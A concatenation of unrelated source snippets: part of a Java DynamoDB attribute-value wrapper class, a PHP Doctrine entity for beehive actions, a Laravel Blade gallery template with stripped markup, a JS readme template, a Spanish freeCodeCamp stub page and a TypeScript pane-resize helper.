     * Reasons this call may fail with a {@link RuntimeException}:
     *

     *
If the provided visitor is null.

     *
If the value cannot be converted by this visitor.

     *

     */
    public <T> T convert(TypeConvertingVisitor<T> convertingVisitor) {
        Validate.paramNotNull(convertingVisitor, "convertingVisitor");
        return convertingVisitor.convert(this);
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a Map (m).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isMap() {
        return mapValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a String (s).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isString() {
        return stringValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a Number (n).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isNumber() {
        return numberValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is Bytes (b).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isBytes() {
        return bytesValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a Boolean (bool).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isBoolean() {
        return booleanValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a Set of Strings (ss).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isSetOfStrings() {
        return setOfStringsValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a Set of Numbers (ns).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isSetOfNumbers() {
        return setOfNumbersValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a Set of Bytes (bs).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isSetOfBytes() {
        return setOfBytesValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is a List of AttributeValues (l).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isListOfAttributeValues() {
        return listOfAttributeValuesValue != null;
    }

    /**
     * Returns true if the underlying DynamoDB type of this value is Null (null).
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public boolean isNull() {
        return isNull;
    }

    /**
     * Retrieve this value as a map.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isMap()} is false.
     */
    public Map<String, AttributeValue> asMap() {
        Validate.isTrue(isMap(), "Value is not a map.");
        return mapValue;
    }

    /**
     * Retrieve this value as a string.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isString()} is false.
     */
    public String asString() {
        Validate.isTrue(isString(), "Value is not a string.");
        return stringValue;
    }

    /**
     * Retrieve this value as a number.
     *
     * Note: This returns a {@code String} (instead of a {@code Number}), because that's the generated type from
     * DynamoDB: {@link AttributeValue#n()}.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isNumber()} is false.
     */
    public String asNumber() {
        Validate.isTrue(isNumber(), "Value is not a number.");
        return numberValue;
    }

    /**
     * Retrieve this value as bytes.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isBytes()} is false.
     */
    public SdkBytes asBytes() {
        Validate.isTrue(isBytes(), "Value is not bytes.");
        return bytesValue;
    }

    /**
     * Retrieve this value as a boolean.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isBoolean()} is false.
     */
    public Boolean asBoolean() {
        Validate.isTrue(isBoolean(), "Value is not a boolean.");
        return booleanValue;
    }

    /**
     * Retrieve this value as a set of strings.
     *
     *

     * Note: This returns a {@code List} (instead of a {@code Set}), because that's the generated type from
     * DynamoDB: {@link AttributeValue#ss()}.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isSetOfStrings()} is false.
     */
    public List<String> asSetOfStrings() {
        Validate.isTrue(isSetOfStrings(), "Value is not a list of strings.");
        return setOfStringsValue;
    }

    /**
     * Retrieve this value as a set of numbers.
     *
     *

     * Note: This returns a {@code List<String>} (instead of a {@code Set<Number>}), because that's the generated type from
     * DynamoDB: {@link AttributeValue#ns()}.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isSetOfNumbers()} is false.
     */
    public List<String> asSetOfNumbers() {
        Validate.isTrue(isSetOfNumbers(), "Value is not a list of numbers.");
        return setOfNumbersValue;
    }

    /**
     * Retrieve this value as a set of bytes.
     *
     *

     * Note: This returns a {@code List} (instead of a {@code Set}), because that's the generated type from
     * DynamoDB: {@link AttributeValue#bs()}.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isSetOfBytes()} is false.
     */
    public List<SdkBytes> asSetOfBytes() {
        Validate.isTrue(isSetOfBytes(), "Value is not a list of bytes.");
        return setOfBytesValue;
    }

    /**
     * Retrieve this value as a list of attribute values.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isListOfAttributeValues()} is false.
     */
    public List<AttributeValue> asListOfAttributeValues() {
        Validate.isTrue(isListOfAttributeValues(), "Value is not a list of attribute values.");
        return listOfAttributeValuesValue;
    }

    /**
     * Convert this {@link EnhancedAttributeValue} into a generated {@code Map<String, AttributeValue>}.
     *
     *

     * This call will fail with a {@link RuntimeException} if {@link #isMap()} is false.
     */
    public Map<String, AttributeValue> toAttributeValueMap() {
        Validate.validState(isMap(), "Cannot convert an attribute value of type %s to a generated item. Must be %s.",
                            type(), AttributeValueType.M);

        AttributeValue generatedAttributeValue = toAttributeValue();

        Validate.validState(generatedAttributeValue.m() != null && !(generatedAttributeValue.m() instanceof SdkAutoConstructMap),
                            "Map EnhancedAttributeValue was not converted into a Map AttributeValue.");
        return generatedAttributeValue.m();
    }

    /**
     * Convert this {@link EnhancedAttributeValue} into a generated {@link AttributeValue}.
     *
     *

     * This call should never fail with an {@link Exception}.
     */
    public AttributeValue toAttributeValue() {
        return convert(ToGeneratedAttributeValueVisitor.INSTANCE);
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) {
            return true;
        }
        if (o == null || getClass() != o.getClass()) {
            return false;
        }

        EnhancedAttributeValue that = (EnhancedAttributeValue) o;

        if (isNull != that.isNull) {
            return false;
        }
        if (type != that.type) {
            return false;
        }
        if (mapValue != null ? !mapValue.equals(that.mapValue) : that.mapValue != null) {
            return false;
        }
        if (stringValue != null ? !stringValue.equals(that.stringValue) : that.stringValue != null) {
            return false;
        }
        if (numberValue != null ? !numberValue.equals(that.numberValue) : that.numberValue != null) {
            return false;
        }
        if (bytesValue != null ? !bytesValue.equals(that.bytesValue) : that.bytesValue != null) {
            return false;
        }
        if (booleanValue != null ? !booleanValue.equals(that.booleanValue) : that.booleanValue != null) {
            return false;
        }
        if (setOfStringsValue != null ? !setOfStringsValue.equals(that.setOfStringsValue) : that.setOfStringsValue != null) {
            return false;
        }
        if (setOfNumbersValue != null ? !setOfNumbersValue.equals(that.setOfNumbersValue) : that.setOfNumbersValue != null) {
            return false;
        }
        if (setOfBytesValue != null ? !setOfBytesValue.equals(that.setOfBytesValue) : that.setOfBytesValue != null) {
            return false;
        }
        return listOfAttributeValuesValue != null ? listOfAttributeValuesValue.equals(that.listOfAttributeValuesValue)
                                                  : that.listOfAttributeValuesValue == null;
    }

    @Override
    public int hashCode() {
        int result = type.hashCode();
        result = 31 * result + (isNull ? 1 : 0);
        result = 31 * result + (mapValue != null ? mapValue.hashCode() : 0);
        result = 31 * result + (stringValue != null ? stringValue.hashCode() : 0);
        result = 31 * result + (numberValue != null ? numberValue.hashCode() : 0);
        result = 31 * result + (bytesValue != null ? bytesValue.hashCode() : 0);
        result = 31 * result + (booleanValue != null ? booleanValue.hashCode() : 0);
        result = 31 * result + (setOfStringsValue != null ? setOfStringsValue.hashCode() : 0);
        result = 31 * result + (setOfNumbersValue != null ? setOfNumbersValue.hashCode() : 0);
        result = 31 * result + (setOfBytesValue != null ? setOfBytesValue.hashCode() : 0);
        result = 31 * result + (listOfAttributeValuesValue != null ? listOfAttributeValuesValue.hashCode() : 0);
        return result;
    }

    @Override
    public String toString() {
        Object value = convert(ToStringVisitor.INSTANCE);
        return ToString.builder("EnhancedAttributeValue")
                       .add("type", type)
                       .add("value", value)
                       .build();
    }

    private static class ToGeneratedAttributeValueVisitor extends TypeConvertingVisitor<AttributeValue> {
        private static final ToGeneratedAttributeValueVisitor INSTANCE = new ToGeneratedAttributeValueVisitor();

        private ToGeneratedAttributeValueVisitor() {
            super(AttributeValue.class);
        }

        @Override
        public AttributeValue convertNull() {
            return AttributeValue.builder().nul(true).build();
        }

        @Override
        public AttributeValue convertMap(Map<String, AttributeValue> value) {
            return AttributeValue.builder().m(value).build();
        }

        @Override
        public AttributeValue convertString(String value) {
            return AttributeValue.builder().s(value).build();
        }

        @Override
        public AttributeValue convertNumber(String value) {
            return AttributeValue.builder().n(value).build();
        }

        @Override
        public AttributeValue convertBytes(SdkBytes value) {
            return AttributeValue.builder().b(value).build();
        }

        @Override
        public AttributeValue convertBoolean(Boolean value) {
            return AttributeValue.builder().bool(value).build();
        }

        @Override
        public AttributeValue convertSetOfStrings(List<String> value) {
            return AttributeValue.builder().ss(value).build();
        }

        @Override
        public AttributeValue convertSetOfNumbers(List<String> value) {
            return AttributeValue.builder().ns(value).build();
        }

        @Override
        public AttributeValue convertSetOfBytes(List<SdkBytes> value) {
            return AttributeValue.builder().bs(value).build();
        }

        @Override
        public AttributeValue convertListOfAttributeValues(List<AttributeValue> value) {
            return AttributeValue.builder().l(value).build();
        }
    }

    private static class ToStringVisitor extends TypeConvertingVisitor<Object> {
        private static final ToStringVisitor INSTANCE = new ToStringVisitor();

        private ToStringVisitor() {
            super(Object.class);
        }

        @Override
        public Object convertNull() {
            return "null";
        }

        @Override
        public Object defaultConvert(AttributeValueType type, Object value) {
            return value;
        }
    }

    private static class InternalBuilder {
        private AttributeValueType type;
        private boolean isNull = false;
        private Map<String, AttributeValue> mapValue;
        private String stringValue;
        private String numberValue;
        private SdkBytes bytesValue;
        private Boolean booleanValue;
        private List<String> setOfStringsValue;
        private List<String> setOfNumbersValue;
        private List<SdkBytes> setOfBytesValue;
        private List<AttributeValue> listOfAttributeValuesValue;

        public InternalBuilder isNull() {
            this.type = AttributeValueType.NULL;
            this.isNull = true;
            return this;
        }

        private InternalBuilder mapValue(Map<String, AttributeValue> mapValue) {
            this.type = AttributeValueType.M;
            this.mapValue = mapValue;
            return this;
        }

        private InternalBuilder stringValue(String stringValue) {
            this.type = AttributeValueType.S;
            this.stringValue = stringValue;
            return this;
        }

        private InternalBuilder numberValue(String numberValue) {
            this.type = AttributeValueType.N;
            this.numberValue = numberValue;
            return this;
        }

        private InternalBuilder bytesValue(SdkBytes bytesValue) {
            this.type = AttributeValueType.B;
            this.bytesValue = bytesValue;
            return this;
        }

        private InternalBuilder booleanValue(Boolean booleanValue) {
            this.type = AttributeValueType.BOOL;
            this.booleanValue = booleanValue;
            return this;
        }

        private InternalBuilder setOfStringsValue(List<String> setOfStringsValue) {
            this.type = AttributeValueType.SS;
            this.setOfStringsValue = setOfStringsValue;
            return this;
        }

        private InternalBuilder setOfNumbersValue(List<String> setOfNumbersValue) {
            this.type = AttributeValueType.NS;
            this.setOfNumbersValue = setOfNumbersValue;
            return this;
        }

        private InternalBuilder setOfBytesValue(List<SdkBytes> setOfBytesValue) {
            this.type = AttributeValueType.BS;
            this.setOfBytesValue = setOfBytesValue;
            return this;
        }

        private InternalBuilder listOfAttributeValuesValue(List<AttributeValue> listOfAttributeValuesValue) {
            this.type = AttributeValueType.L;
            this.listOfAttributeValuesValue = listOfAttributeValuesValue;
            return this;
        }

        private EnhancedAttributeValue build() {
            return new EnhancedAttributeValue(this);
        }
    }
}


text:
<?php

namespace BEE\Services\BeeeaseBundle\Entity;

use Doctrine\ORM\Mapping as ORM;

/**
 * Action
 *
 * @ORM\Table(name="action")
 * @ORM\Entity(repositoryClass="BEE\Services\BeeeaseBundle\Repository\ActionRepository")
 */
class Action
{
    /**
     * @var integer
     *
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @var \DateTime
     *
     * @ORM\Column(name="date", type="date")
     */
    private $date;

    /**
     * @var integer
     *
     * @ORM\Column(name="qte", type="integer")
     */
    private $qte;
    /**
     * @ORM\ManyToOne(targetEntity="BEE\Services\BeeeaseBundle\Entity\Ruche", inversedBy="actions")
     * @var type
     */
    protected $ruche;
    /**
     * @ORM\ManyToOne(targetEntity="BEE\Services\BeeeaseBundle\Entity\Rucher", inversedBy="actions")
     * @var type
     *
     */
    protected $rucher;
    /**
     * @ORM\ManyToOne(targetEntity="BEE\Services\BeeeaseBundle\Entity\ActionListe")
     * @var type
     * @ORM\JoinColumn(name="action_liste_id")
     */
    protected $actionListe;

    function __construct() {

    }

            /**
     * Get id
     *
     * @return integer
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * Set date
     *
     * @param \DateTime $date
     * @return Action
     */
    public function setDate($date)
    {
        $this->date = $date;

        return $this;
    }

    /**
     * Get date
     *
     * @return \DateTime
     */
    public function getDate()
    {
        return $this->date;
    }

    /**
     * Set qte
     *
     * @param integer $qte
     * @return Action
     */
    public function setQte($qte)
    {
        $this->qte = $qte;

        return $this;
    }

    /**
     * Get qte
     *
     * @return integer
     */
    public function getQte()
    {
        return $this->qte;
    }
    public function __toString() {

    }

    /**
     * Set ruche
     *
     * @param \BEE\Services\BeeeaseBundle\Entity\Ruche $ruche
     * @return Action
     */
    public function setRuche(\BEE\Services\BeeeaseBundle\Entity\Ruche $ruche = null)
    {
        $this->ruche = $ruche;

        return $this;
    }

    /**
     * Get ruche
     *
     * @return \BEE\Services\BeeeaseBundle\Entity\Ruche
     */
    public function getRuche()
    {
        return $this->ruche;
    }

    /**
     * Set rucher
     *
     * @param \BEE\Services\BeeeaseBundle\Entity\Rucher $rucher
     * @return Action
     */
    public function setRucher(\BEE\Services\BeeeaseBundle\Entity\Rucher $rucher = null)
    {
        $this->rucher = $rucher;

        return $this;
    }

    /**
     * Get rucher
     *
     * @return \BEE\Services\BeeeaseBundle\Entity\Rucher
     */
    public function getRucher()
    {
        return $this->rucher;
    }

    /**
     * Set actionListe
     *
     * @param \BEE\Services\BeeeaseBundle\Entity\ActionListe $actionListe
     * @return Action
     */
    public function setActionListe(\BEE\Services\BeeeaseBundle\Entity\ActionListe $actionListe = null)
    {
        $this->actionListe = $actionListe;

        return $this;
    }

    /**
     * Get actionListe
     *
     * @return \BEE\Services\BeeeaseBundle\Entity\ActionListe
     */
    public function getActionListe()
    {
        return $this->actionListe;
    }

}


text:
@extends('layouts.master')
@section('title', 'Gallery')
@section('content')

{{ Breadcrumbs::render('gallery') }}
  @if(Session::has('message'))

    <button type="button" class="close" data-dismiss="alert">×Close</button>
    {{ Session::get('message') }}

  @endif

Gallery

Add Gallery

    @if($gallery->count() == 0)

No results found!

    @else

      @foreach($gallery as $g)

id) }}">images->first()->img_path) }}" class="img-responsive img-thumb">

id) }}">{{ str_limit($g->title, $limit = 10, $end = '...') }}

      @endforeach

    {{ $gallery->links() }}
    @endif

@stop


text:
> {%= description %}

## Install
{%= include("install") %}

## Run tests

```bash
npm test
```

## Usage

```js
var makeIterator = require('{%= name %}');

function amazingFn(arr, cb, thisArg) {
  cb = makeIterator(cb, thisArg);
  var res = [];

  // do stuff
  return res;
}
```

## Author
{%= include("author") %}

## License
Copyright (c) 2012, 2013 moutjs team and contributors (http://moutjs.com)

{%= copyright() %}
{%= license() %}

***

{%= include("footer") %}


text:
title: Extend One Set of CSS Styles to Another Element
localeTitle: Extiende un conjunto de estilos CSS a otro elemento
---
## Extiende un conjunto de estilos CSS a otro elemento

Esto es un talón. [Ayuda a nuestra comunidad a expandirla](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md) .

[Esta guía rápida de estilo ayudará a asegurar que su solicitud de extracción sea aceptada](https://github.com/freecodecamp/guides/blob/master/README.md) .


text:
import {PANE_DEFAULT_MIN_WIDTH} from '../constants'
import {PaneConfigOpts, PaneResizeCache} from '../types'

export function _calcPaneResize(
  cache: PaneResizeCache,
  left: PaneConfigOpts,
  right: PaneConfigOpts,
  deltaX: number
): {leftFlex: number; leftW: number; rightFlex: number; rightW: number} {
  const sum = {
    flex: cache.left.flex + cache.right.flex,
    width: cache.left.width + cache.right.width,
  }

  const leftMinWidth = left.minWidth ?? PANE_DEFAULT_MIN_WIDTH
  const rightMinWidth = right.minWidth ?? PANE_DEFAULT_MIN_WIDTH

  const leftMaxWidth = Math.min(left.maxWidth || Infinity, sum.width - rightMinWidth)
  const rightMaxWidth = Math.min(right.maxWidth || Infinity, sum.width - leftMinWidth)

  // Get min. delta X
  let minDeltaX = leftMinWidth - cache.left.width
  const rightMinDeltaX = cache.right.width - rightMaxWidth
  if (minDeltaX < rightMinDeltaX) {
    minDeltaX = rightMinDeltaX
  }

  // Get max. delta X
  let maxDeltaX = cache.right.width - rightMinWidth
  const leftMaxDeltaX = leftMaxWidth - cache.left.width
  if (maxDeltaX > leftMaxDeltaX) {
    maxDeltaX = leftMaxDeltaX
  }

  const _deltaX = Math.min(Math.max(deltaX, minDeltaX), maxDeltaX)

  const leftW = cache.left.width + _deltaX
  const rightW = cache.right.width - _deltaX

  const leftFlex = (leftW / sum.width) * sum.flex
  const rightFlex = (rightW / sum.width) * sum.flex

  return {leftFlex, leftW, rightFlex, rightW}
}